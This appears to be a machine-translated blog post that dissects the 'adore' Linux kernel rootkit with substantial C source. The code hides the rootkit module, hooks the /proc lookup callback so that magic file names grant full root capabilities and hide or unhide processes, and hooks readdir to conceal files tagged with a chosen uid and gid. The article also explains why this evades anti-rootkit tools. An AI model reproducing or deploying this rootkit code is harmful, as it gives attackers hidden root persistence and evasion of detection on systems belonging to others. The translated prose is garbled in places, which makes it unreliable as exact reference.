this rootkit The technology used is no better than the previous one , It's not blocking system calls , Instead, it intercepts the callback function of the specific file system , The callback function of its own file system is dynamically registered , Very uncertain , So anti black software can't simply conclude that this function is black out , So this rootkit Looks a little better than the previous one , natural , Since it's a kernel module , So module hiding is also an important content , Here is a simple module hidden code , The premise of using this code is to load the module immediately after the module you want to hide :

...// Omit header file

int init_module()

{

if (__this_module.next) // The logic is simple , Because the hidden module is loaded before this module , Then you need to change the next Just a pointer

__this_module.next = __this_module.next->next;

return 0;

}

...// ellipsis

The rootkit The first step is to build a bitmap with all the processes hidden_procs, If which process needs to be hidden , Then, the pid Location 1, Reverse 0

inline void hide_proc(pid_t x)

{

if (x >= PID_MAX || x == 1)

return;

hidden_procs[x/8] |= 1<<(x%8);

}

inline void unhide_proc(pid_t x)

{

if (x >= PID_MAX)

return;

hidden_procs[x/8] &= ~(1<<(x%8));

}

The following function is actually the same as the rootkit irrelevant , Just a help function , But it's listed , The meaning of this function is to convert a string to a number

int adore_atoi(const char *str)

{

int ret = 0, mul = 1;

const char *ptr;

for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++) ;

ptr--;

while (ptr >= str) {

if (*ptr < '0' || *ptr > '9')

break;

ret += (*ptr - '0') * mul;

mul *= 10;

ptr--;

}

return ret;

}

The following function determines whether a process is hidden , It's very simple , Simply put, if the pid The corresponding position is 1, Then it's time to hide , On the contrary, it should not be hidden , There's another strategy , Even the child processes of hidden processes should be hidden :

int should_be_hidden(pid_t pid)

{

struct task_struct *p = NULL;

if (is_invisible(pid)) {

return 1;

}

p = adore_find_task(pid);

if (!p)

return 0;

task_lock(p);

if (is_invisible(p->parent->pid)) {

task_unlock(p);

hide_proc(pid);

return 1;

}

task_unlock(p);

return 0;

}

View the process's ps The command is mainly traversal /proc Root directory of the file system , As long as it's numerical, it's considered a process pid, The rootkit The strategy for hiding processes is simple , namely :

sprintf(buf, APREFIX"/hide-%d", pid);

close(open(buf, O_RDWR|O_CREAT, 0));

because open System call will definitely call lookup Callback function , Then it's time lookup Chinese article , If you want to hide pid by n Process of , Let's go first /proc Create a new file hide-n file , Because we've blacked out the details proc File system lookup The callback function is adore_lookup, So we can put the operation of hidden process in the lookup in , In the lookup If the prefix of a file is found in hide-, Then we call hide_proc function , concrete pid The string after the fifth character of the new file is converted to a number . be careful , this adore_lookup Function kill two birds with one stone , In new with hide- The prefix file will be hidden , stay ps When the command is used to view the process, if it is a hidden file, it will return NULL, Someone here might ask , stay /proc The directory does not have permission to create new files , yes , No permission , The point is that we don't create a new file , Instead, you just want the execution flow to arrive lookup, To call hide_proc Purpose of , That's it :

struct dentry *adore_lookup(struct inode *i, struct dentry *d)

{

task_lock(current);

if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) {

current->flags |= PF_AUTH;

current->suid = ADORE_VERSION;

} else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "fullprivs", 9)
== 0) {

...// All id Set to 0, representative root

cap_set_full(current->cap_effective);

cap_set_full(current->cap_inheritable);

cap_set_full(current->cap_permitted);

} else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "hide-", 5) == 0)
{ // Want to hide processes , Only in proc Create a new directory hide-(pid) that will do

hide_proc(adore_atoi(d->d_iname+5));

} else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "unhide-", 7) ==
0) {

unhide_proc(adore_atoi(d->d_iname+7));

} else if ((current->flags & PF_AUTH) && strncmp(d->d_iname, "uninstall", 9)
== 0) {

cleanup_module();

}

task_unlock(current);

if (should_be_hidden(adore_atoi(d->d_iname)) &&
!should_be_hidden(current->pid))

return NULL;

return orig_proc_lookup(i, d);

}

only this and nothing more , Process is hidden , How to hide the port ? It's simple , The same way , intercept /proc File system is it , How to hide the final file ? If you want to achieve ls The directory of hidden files cannot be displayed , The simple way is to black out the file system readdir Callback function :

int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir)

{

int r = 0;

if (!fp || !fp->f_vfsmnt)

return 0;

root_filldir = filldir; // Save the original filldir

root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb;

r = orig_root_readdir(fp, buf, adore_root_filldir);

return r;

}

int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off,
ino_t ino, unsigned x)

{

struct inode *inode = NULL;

int r = 0;

uid_t uid;

gid_t gid;

if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL)

return 0;

uid = inode->i_uid;

gid = inode->i_gid;

iput(inode);

if (uid == ELITE_UID && gid == ELITE_GID) {
// If the uid and gid Set to implement the agreed id, It means that the file is to be hidden , Want to hide files , Just call lchown The uid and gid Just change

r = 0; // If you encounter a hidden file, go back and don't continue searching

} else

r = root_filldir(buf, name, nlen, off, ino, x); // If you don't need to hide , Then call the original filldir

return r;

}

be careful , book rootkit Not intercepted getdents64 and getdents System call itself , It's a direct intercept getdentsXX Called file_operations In readdir Callback function , It's flexible and hard to find , After all, anti black programs can monitor the address of system calls, but not the address of callback functions , Because it's important that I register a new file system , Then there will be a new address , If it's anti hacking, it's going to kill you one day , As file systems grow , The anti black program will span the whole system .

only this and nothing more , The rootkit The general framework of has been built , And the last rootkit presumably , The rootkit More hidden , No machine related assembly code that is error prone , Standards only c The pointer operation of language is enough , Very intuitive , Farewell to assembly , You need to have a simple understanding of the process of kernel file system , Very good .

Technology
©2019-2020 Toolsou All rights reserved,
JAVA Detailed explanation of anomalies MySQL An interview is a must ! How to use it quickly html and css Write static page R Language cluster analysis case Dialogue between apple and Nissan suspended ,Apple Car How's it going ?java Realize the function of grabbing red packets SpringBoot practice ( five ):mybatis-plus In BaseMapper,Iservice and ServiceImpl Google says home office affects work efficiency !2021 Return to offline office in 2010 about keras use fit_generator Encountered in StopIteration Programmer Tanabata Valentine's Day confession code